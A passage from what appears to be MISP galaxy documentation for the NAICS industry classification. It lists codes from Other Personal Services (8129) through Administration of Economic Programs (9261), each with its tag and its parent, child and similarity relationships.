- child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"

8129

Other Personal Services

The tag is: *misp-galaxy:naics="8129"*

View relationships graph

8129 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="81291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812922" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81293" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812990" with estimative-language:likelihood-probability="likely"

81291

Pet Care (except Veterinary) Services

The tag is: *misp-galaxy:naics="81291"*

View relationships graph

81291 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812910" with estimative-language:likelihood-probability="likely"

812910

Pet Care (except Veterinary) Services

The tag is: *misp-galaxy:naics="812910"*

View relationships graph

812910 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81291" with estimative-language:likelihood-probability="likely"

81292

Photofinishing

The tag is: *misp-galaxy:naics="81292"*

View relationships graph

81292 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"

812921

Photofinishing Laboratories (except One-Hour)

The tag is: *misp-galaxy:naics="812921"*

View relationships graph

812921 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"

812922

One-Hour Photofinishing

The tag is: *misp-galaxy:naics="812922"*

View relationships graph

812922 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"

81293

Parking Lots and Garages

The tag is: *misp-galaxy:naics="81293"*

View relationships graph

81293 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812930" with estimative-language:likelihood-probability="likely"

812930

Parking Lots and Garages

The tag is: *misp-galaxy:naics="812930"*

View relationships graph

812930 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="81293" with estimative-language:likelihood-probability="likely"

81299

All Other Personal Services

The tag is: *misp-galaxy:naics="81299"*

View relationships graph

81299 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812990" with estimative-language:likelihood-probability="likely"

812990

All Other Personal Services

The tag is: *misp-galaxy:naics="812990"*

View relationships graph

812990 has relationships with:

- child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81299" with estimative-language:likelihood-probability="likely"

813

Religious, Grantmaking, Civic, Professional, and Similar Organizations

The tag is: *misp-galaxy:naics="813"*

View relationships graph

813 has relationships with:

- child-of: misp-galaxy:naics="81" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8134" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"

8131

Religious Organizations

The tag is: *misp-galaxy:naics="8131"*

View relationships graph

8131 has relationships with:

- child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813110" with estimative-language:likelihood-probability="likely"

81311

Religious Organizations

The tag is: *misp-galaxy:naics="81311"*

View relationships graph

81311 has relationships with:

- child-of: misp-galaxy:naics="8131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813110" with estimative-language:likelihood-probability="likely"

813110

Religious Organizations

The tag is: *misp-galaxy:naics="813110"*

View relationships graph

813110 has relationships with:

- child-of: misp-galaxy:naics="8131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81311" with estimative-language:likelihood-probability="likely"

8132

Grantmaking and Giving Services

The tag is: *misp-galaxy:naics="8132"*

View relationships graph

8132 has relationships with:

- child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813219" with estimative-language:likelihood-probability="likely"

81321

Grantmaking and Giving Services

The tag is: *misp-galaxy:naics="81321"*

View relationships graph

81321 has relationships with:

- child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

813211

Grantmaking Foundations

The tag is: *misp-galaxy:naics="813211"*

View relationships graph

813211 has relationships with:

- child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

813212

Voluntary Health Organizations

The tag is: *misp-galaxy:naics="813212"*

View relationships graph

813212 has relationships with:

- child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

813219

Other Grantmaking and Giving Services

The tag is: *misp-galaxy:naics="813219"*

View relationships graph

813219 has relationships with:

- child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

8133

Social Advocacy Organizations

The tag is: *misp-galaxy:naics="8133"*

View relationships graph

8133 has relationships with:

- child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813319" with estimative-language:likelihood-probability="likely"

81331

Social Advocacy Organizations

The tag is: *misp-galaxy:naics="81331"*

View relationships graph

81331 has relationships with:

- child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"

813311

Human Rights Organizations

The tag is: *misp-galaxy:naics="813311"*

View relationships graph

813311 has relationships with:

- child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"

813312

Environment, Conservation and Wildlife Organizations

The tag is: *misp-galaxy:naics="813312"*

View relationships graph

813312 has relationships with:

- child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"

813319

Other Social Advocacy Organizations

The tag is: *misp-galaxy:naics="813319"*

View relationships graph

813319 has relationships with:

- child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"

8134

Civic and Social Organizations

The tag is: *misp-galaxy:naics="8134"*

View relationships graph

8134 has relationships with:

- child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81341" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813410" with estimative-language:likelihood-probability="likely"

81341

Civic and Social Organizations

The tag is: *misp-galaxy:naics="81341"*

View relationships graph

81341 has relationships with:

- child-of: misp-galaxy:naics="8134" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="813410" with estimative-language:likelihood-probability="likely"

813410

Civic and Social Organizations

The tag is: *misp-galaxy:naics="813410"*

View relationships graph

813410 has relationships with:

- child-of: misp-galaxy:naics="8134" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81341" with estimative-language:likelihood-probability="likely"

8139

Business, Professional, Labor, Political, and Similar Organizations

The tag is: *misp-galaxy:naics="8139"*

View relationships graph

8139 has relationships with:

- child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81392" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81393" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81394" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813990" with estimative-language:likelihood-probability="likely"

81391

Business Associations

The tag is: *misp-galaxy:naics="81391"*

View relationships graph

81391 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813910" with estimative-language:likelihood-probability="likely"

813910

Business Associations

The tag is: *misp-galaxy:naics="813910"*

View relationships graph

813910 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81391" with estimative-language:likelihood-probability="likely"

81392

Professional Organizations

The tag is: *misp-galaxy:naics="81392"*

View relationships graph

81392 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813920" with estimative-language:likelihood-probability="likely"

813920

Professional Organizations

The tag is: *misp-galaxy:naics="813920"*

View relationships graph

813920 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81392" with estimative-language:likelihood-probability="likely"

81393

Labor Unions and Similar Labor Organizations

The tag is: *misp-galaxy:naics="81393"*

View relationships graph

81393 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813930" with estimative-language:likelihood-probability="likely"

813930

Labor Unions and Similar Labor Organizations

The tag is: *misp-galaxy:naics="813930"*

View relationships graph

813930 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81393" with estimative-language:likelihood-probability="likely"

81394

Political Organizations

The tag is: *misp-galaxy:naics="81394"*

View relationships graph

81394 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813940" with estimative-language:likelihood-probability="likely"

813940

Political Organizations

The tag is: *misp-galaxy:naics="813940"*

View relationships graph

813940 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81394" with estimative-language:likelihood-probability="likely"

81399

Other Similar Organizations (except Business, Professional, Labor, and Political Organizations)

The tag is: *misp-galaxy:naics="81399"*

View relationships graph

81399 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813990" with estimative-language:likelihood-probability="likely"

813990

Other Similar Organizations (except Business, Professional, Labor, and Political Organizations)

The tag is: *misp-galaxy:naics="813990"*

View relationships graph

813990 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81399" with estimative-language:likelihood-probability="likely"

814

Private Households

The tag is: *misp-galaxy:naics="814"*

View relationships graph

814 has relationships with:

- child-of: misp-galaxy:naics="81" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8141" with estimative-language:likelihood-probability="likely"

8141

Private Households

The tag is: *misp-galaxy:naics="8141"*

View relationships graph

8141 has relationships with:

- child-of: misp-galaxy:naics="814" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="814110" with estimative-language:likelihood-probability="likely"

81411

Private Households

The tag is: *misp-galaxy:naics="81411"*

View relationships graph

81411 has relationships with:

- child-of: misp-galaxy:naics="8141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="814110" with estimative-language:likelihood-probability="likely"

814110

Private Households

The tag is: *misp-galaxy:naics="814110"*

View relationships graph

814110 has relationships with:

- child-of: misp-galaxy:naics="8141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81411" with estimative-language:likelihood-probability="likely"

92

Public Administration

The tag is: *misp-galaxy:naics="92"*

View relationships graph

92 has relationships with:

- parent-of: misp-galaxy:naics="921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="922" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="923" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="924" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="925" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="927" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="928" with estimative-language:likelihood-probability="likely"

921

Executive, Legislative, and Other General Government Support

The tag is: *misp-galaxy:naics="921"*

View relationships graph

921 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"

9211

Executive, Legislative, and Other General Government Support

The tag is: *misp-galaxy:naics="9211"*

View relationships graph

9211 has relationships with:

- child-of: misp-galaxy:naics="921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="921110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="921120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="921130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="921140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="921150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="921190" with estimative-language:likelihood-probability="likely"

92111

Executive Offices

The tag is: *misp-galaxy:naics="92111"*

View relationships graph

92111 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921110" with estimative-language:likelihood-probability="likely"

921110

Executive Offices

The tag is: *misp-galaxy:naics="921110"*

View relationships graph

921110 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92111" with estimative-language:likelihood-probability="likely"

92112

Legislative Bodies

The tag is: *misp-galaxy:naics="92112"*

View relationships graph

92112 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921120" with estimative-language:likelihood-probability="likely"

921120

Legislative Bodies

The tag is: *misp-galaxy:naics="921120"*

View relationships graph

921120 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92112" with estimative-language:likelihood-probability="likely"

92113

Public Finance Activities

The tag is: *misp-galaxy:naics="92113"*

View relationships graph

92113 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921130" with estimative-language:likelihood-probability="likely"

921130

Public Finance Activities

The tag is: *misp-galaxy:naics="921130"*

View relationships graph

921130 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92113" with estimative-language:likelihood-probability="likely"

92114

Executive and Legislative Offices, Combined

The tag is: *misp-galaxy:naics="92114"*

View relationships graph

92114 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921140" with estimative-language:likelihood-probability="likely"

921140

Executive and Legislative Offices, Combined

The tag is: *misp-galaxy:naics="921140"*

View relationships graph

921140 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92114" with estimative-language:likelihood-probability="likely"

92115

American Indian and Alaska Native Tribal Governments

The tag is: *misp-galaxy:naics="92115"*

View relationships graph

92115 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921150" with estimative-language:likelihood-probability="likely"

921150

American Indian and Alaska Native Tribal Governments

The tag is: *misp-galaxy:naics="921150"*

View relationships graph

921150 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92115" with estimative-language:likelihood-probability="likely"

92119

Other General Government Support

The tag is: *misp-galaxy:naics="92119"*

View relationships graph

92119 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="921190" with estimative-language:likelihood-probability="likely"

921190

Other General Government Support

The tag is: *misp-galaxy:naics="921190"*

View relationships graph

921190 has relationships with:

- child-of: misp-galaxy:naics="9211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92119" with estimative-language:likelihood-probability="likely"

922

Justice, Public Order, and Safety Activities

The tag is: *misp-galaxy:naics="922"*

View relationships graph

922 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"

9221

Justice, Public Order, and Safety Activities

The tag is: *misp-galaxy:naics="9221"*

View relationships graph

9221 has relationships with:

- child-of: misp-galaxy:naics="922" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="922110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="922120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="922130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92214" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="922140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92215" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="922150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92216" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="922160" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92219" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="922190" with estimative-language:likelihood-probability="likely"

92211

Courts

The tag is: *misp-galaxy:naics="92211"*

View relationships graph

92211 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922110" with estimative-language:likelihood-probability="likely"

922110

Courts

The tag is: *misp-galaxy:naics="922110"*

View relationships graph

922110 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92211" with estimative-language:likelihood-probability="likely"

92212

Police Protection

The tag is: *misp-galaxy:naics="92212"*

View relationships graph

92212 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922120" with estimative-language:likelihood-probability="likely"

922120

Police Protection

The tag is: *misp-galaxy:naics="922120"*

View relationships graph

922120 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92212" with estimative-language:likelihood-probability="likely"

92213

Legal Counsel and Prosecution

The tag is: *misp-galaxy:naics="92213"*

View relationships graph

92213 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922130" with estimative-language:likelihood-probability="likely"

922130

Legal Counsel and Prosecution

The tag is: *misp-galaxy:naics="922130"*

View relationships graph

922130 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92213" with estimative-language:likelihood-probability="likely"

92214

Correctional Institutions

The tag is: *misp-galaxy:naics="92214"*

View relationships graph

92214 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922140" with estimative-language:likelihood-probability="likely"

922140

Correctional Institutions

The tag is: *misp-galaxy:naics="922140"*

View relationships graph

922140 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92214" with estimative-language:likelihood-probability="likely"

92215

Parole Offices and Probation Offices

The tag is: *misp-galaxy:naics="92215"*

View relationships graph

92215 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922150" with estimative-language:likelihood-probability="likely"

922150

Parole Offices and Probation Offices

The tag is: *misp-galaxy:naics="922150"*

View relationships graph

922150 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92215" with estimative-language:likelihood-probability="likely"

92216

Fire Protection

The tag is: *misp-galaxy:naics="92216"*

View relationships graph

92216 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922160" with estimative-language:likelihood-probability="likely"

922160

Fire Protection

The tag is: *misp-galaxy:naics="922160"*

View relationships graph

922160 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92216" with estimative-language:likelihood-probability="likely"

92219

Other Justice, Public Order, and Safety Activities

The tag is: *misp-galaxy:naics="92219"*

View relationships graph

92219 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="922190" with estimative-language:likelihood-probability="likely"

922190

Other Justice, Public Order, and Safety Activities

The tag is: *misp-galaxy:naics="922190"*

View relationships graph

922190 has relationships with:

- child-of: misp-galaxy:naics="9221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92219" with estimative-language:likelihood-probability="likely"

923

Administration of Human Resource Programs

The tag is: *misp-galaxy:naics="923"*

View relationships graph

923 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"

9231

Administration of Human Resource Programs

The tag is: *misp-galaxy:naics="9231"*

View relationships graph

9231 has relationships with:

- child-of: misp-galaxy:naics="923" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="923110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="923120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="923130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="923140" with estimative-language:likelihood-probability="likely"

92311

Administration of Education Programs

The tag is: *misp-galaxy:naics="92311"*

View relationships graph

92311 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="923110" with estimative-language:likelihood-probability="likely"

923110

Administration of Education Programs

The tag is: *misp-galaxy:naics="923110"*

View relationships graph

923110 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92311" with estimative-language:likelihood-probability="likely"

92312

Administration of Public Health Programs

The tag is: *misp-galaxy:naics="92312"*

View relationships graph

92312 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="923120" with estimative-language:likelihood-probability="likely"

923120

Administration of Public Health Programs

The tag is: *misp-galaxy:naics="923120"*

View relationships graph

923120 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92312" with estimative-language:likelihood-probability="likely"

92313

Administration of Human Resource Programs (except Education, Public Health, and Veterans' Affairs Programs)

The tag is: *misp-galaxy:naics="92313"*

View relationships graph

92313 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="923130" with estimative-language:likelihood-probability="likely"

923130

Administration of Human Resource Programs (except Education, Public Health, and Veterans' Affairs Programs)

The tag is: *misp-galaxy:naics="923130"*

View relationships graph

923130 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92313" with estimative-language:likelihood-probability="likely"

92314

Administration of Veterans' Affairs

The tag is: *misp-galaxy:naics="92314"*

View relationships graph

92314 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="923140" with estimative-language:likelihood-probability="likely"

923140

Administration of Veterans' Affairs

The tag is: *misp-galaxy:naics="923140"*

View relationships graph

923140 has relationships with:

- child-of: misp-galaxy:naics="9231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92314" with estimative-language:likelihood-probability="likely"

924

Administration of Environmental Quality Programs

The tag is: *misp-galaxy:naics="924"*

View relationships graph

924 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"

9241

Administration of Environmental Quality Programs

The tag is: *misp-galaxy:naics="9241"*

View relationships graph

9241 has relationships with:

- child-of: misp-galaxy:naics="924" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="924110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="924120" with estimative-language:likelihood-probability="likely"

92411

Administration of Air and Water Resource and Solid Waste Management Programs

The tag is: *misp-galaxy:naics="92411"*

View relationships graph

92411 has relationships with:

- child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="924110" with estimative-language:likelihood-probability="likely"

924110

Administration of Air and Water Resource and Solid Waste Management Programs

The tag is: *misp-galaxy:naics="924110"*

View relationships graph

924110 has relationships with:

- child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92411" with estimative-language:likelihood-probability="likely"

92412

Administration of Conservation Programs

The tag is: *misp-galaxy:naics="92412"*

View relationships graph

92412 has relationships with:

- child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="924120" with estimative-language:likelihood-probability="likely"

924120

Administration of Conservation Programs

The tag is: *misp-galaxy:naics="924120"*

View relationships graph

924120 has relationships with:

- child-of: misp-galaxy:naics="9241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92412" with estimative-language:likelihood-probability="likely"

925

Administration of Housing Programs, Urban Planning, and Community Development

The tag is: *misp-galaxy:naics="925"*

View relationships graph

925 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9251" with estimative-language:likelihood-probability="likely"

9251

Administration of Housing Programs, Urban Planning, and Community Development

The tag is: *misp-galaxy:naics="9251"*

View relationships graph

9251 has relationships with:

- child-of: misp-galaxy:naics="925" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="925110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92512" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="925120" with estimative-language:likelihood-probability="likely"

92511

Administration of Housing Programs

The tag is: *misp-galaxy:naics="92511"*

View relationships graph

92511 has relationships with:

- child-of: misp-galaxy:naics="9251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="925110" with estimative-language:likelihood-probability="likely"

925110

Administration of Housing Programs

The tag is: *misp-galaxy:naics="925110"*

View relationships graph

925110 has relationships with:

- child-of: misp-galaxy:naics="9251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92511" with estimative-language:likelihood-probability="likely"

92512

Administration of Urban Planning and Community and Rural Development

The tag is: *misp-galaxy:naics="92512"*

View relationships graph

92512 has relationships with:

- child-of: misp-galaxy:naics="9251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="925120" with estimative-language:likelihood-probability="likely"

925120

Administration of Urban Planning and Community and Rural Development

The tag is: *misp-galaxy:naics="925120"*

View relationships graph

925120 has relationships with:

- child-of: misp-galaxy:naics="9251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92512" with estimative-language:likelihood-probability="likely"

926

Administration of Economic Programs

The tag is: *misp-galaxy:naics="926"*

View relationships graph

926 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"

9261

Administration of Economic Programs

